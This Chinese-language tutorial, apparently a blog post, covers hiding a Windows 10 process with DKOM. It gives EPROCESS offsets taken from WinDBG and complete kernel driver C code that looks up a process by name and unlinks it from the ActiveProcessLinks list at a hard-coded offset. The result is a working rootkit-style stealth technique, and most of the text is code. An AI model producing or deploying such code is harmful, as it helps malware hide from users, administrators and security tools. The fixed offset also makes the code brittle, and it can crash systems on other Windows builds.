DKOM 即直接内核对象操作，我们所有的操作都会被系统记录在内存中，而驱动进程隐藏就是操作进程的EPROCESS结构与线程的ETHREAD结构、链表，要实现进程的隐藏我们只需要将某个进程中的信息，在系统EPROCESS链表中摘除即可实现进程隐藏。

结构体中包含了系统中的所有进程相关信息，通过WinDBG在内核调试模式下输入`dt_eprocess` 即可查看到当前的EPROCESS结构体的偏移信息。

```
1: kd> dt _EPROCESS

ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2e0 ProcessLock      : _EX_PUSH_LOCK
   +0x2e8 UniqueProcessId  : Ptr64 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY          // 活动进程链表
   +0x300 RundownProtect   : _EX_RUNDOWN_REF
   +0x308 Flags2           : Uint4B
```

在实现进程隐藏之前，需要通过代码的方式获取到当前系统中所有进程`EPROCESS`信息。

```
#include <ntifs.h>

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);

VOID UnDriver(PDRIVER_OBJECT driver)
{
  DbgPrint(("驱动程序卸载成功！ \n"));
}

PEPROCESS GetProcessObjectByName(char *name)
{
  SIZE_T temp;
  for (temp = 100; temp<10000; temp += 4)
  {
    NTSTATUS status;
    PEPROCESS ep;
    status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
    if (NT_SUCCESS(status))
    {
      char *pn = PsGetProcessImageFileName(ep);
      if (_stricmp(pn, name) == 0)
        return ep;
    }
  }
  return NULL;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  PEPROCESS PRoc = NULL;
  PRoc = GetProcessObjectByName("C32Asm.exe");
  DriverObject->DriverUnload = UnDriver;
  return STATUS_SUCCESS;
}
```

得到句柄以后直接摘除进程的结构即可实现隐藏，该代码只找了Windows10系统下的偏移地址，故只能在Windows10系统下使用。

```
#include <ntifs.h>

#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2f0

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);

VOID UnDriver(PDRIVER_OBJECT driver)
{
  DbgPrint(("驱动程序卸载成功! \n"));
}

PEPROCESS GetProcessObjectByName(char *name)
{
  SIZE_T temp;
  for (temp = 100; temp<10000; temp += 4)
  {
    NTSTATUS status;
    PEPROCESS ep;
    status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
    if (NT_SUCCESS(status))
    {
      char *pn = PsGetProcessImageFileName(ep);
      if (_stricmp(pn, name) == 0)
        return ep;
    }
  }
  return NULL;
}

// 隐藏进程
VOID HideProcess(PLIST_ENTRY ListEntry)
{
  KIRQL OldIrql;
  OldIrql = KeRaiseIrqlToDpcLevel();
  if (ListEntry->Flink != ListEntry && ListEntry->Blink != ListEntry && ListEntry->Blink->Flink == ListEntry && ListEntry->Flink->Blink == ListEntry)
  {
    ListEntry->Flink->Blink = ListEntry->Blink;
    ListEntry->Blink->Flink = ListEntry->Flink;
    ListEntry->Flink = ListEntry;
    ListEntry->Blink = ListEntry;
  }
  KeLowerIrql(OldIrql);
}
```

```
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  PEPROCESS PROc = NULL;
  PROc = GetProcessObjectByName("C32Asm.exe");

  // 摘除结构中的C32Asm.exe实现驱动隐藏
  HideProcess((PLIST_ENTRY)((ULONG64)PROc + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));

  DriverObject->DriverUnload = UnDriver;
  return STATUS_SUCCESS;
}
```